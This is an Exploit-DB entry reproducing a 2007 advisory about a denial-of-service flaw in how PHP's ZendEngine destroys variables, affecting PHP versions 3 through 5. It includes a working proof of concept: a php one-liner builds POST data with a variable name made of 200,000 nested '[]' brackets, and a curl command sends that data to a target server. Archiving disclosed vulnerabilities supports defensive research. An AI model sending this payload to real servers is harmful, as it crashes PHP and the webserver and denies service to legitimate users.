PHP 3/4/5 - ZendEngine Variable Destruction Remote Denial of Service

EDB-ID:

29692

Type:

dos

Platform:

PHP

Published:

2007-03-01

source: http://www.securityfocus.com/bid/22764/info

PHP is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.

An attacker who can run PHP code on a vulnerable computer may exploit this vulnerability to crash PHP and the webserver, denying service to legitimate users.

This issue affects all versions of PHP. 

$ php -r 'echo "a".str_repeat("[]",200000)."=1&a=0";' > postdata

$ curl http://www.example.com/ -d @postdata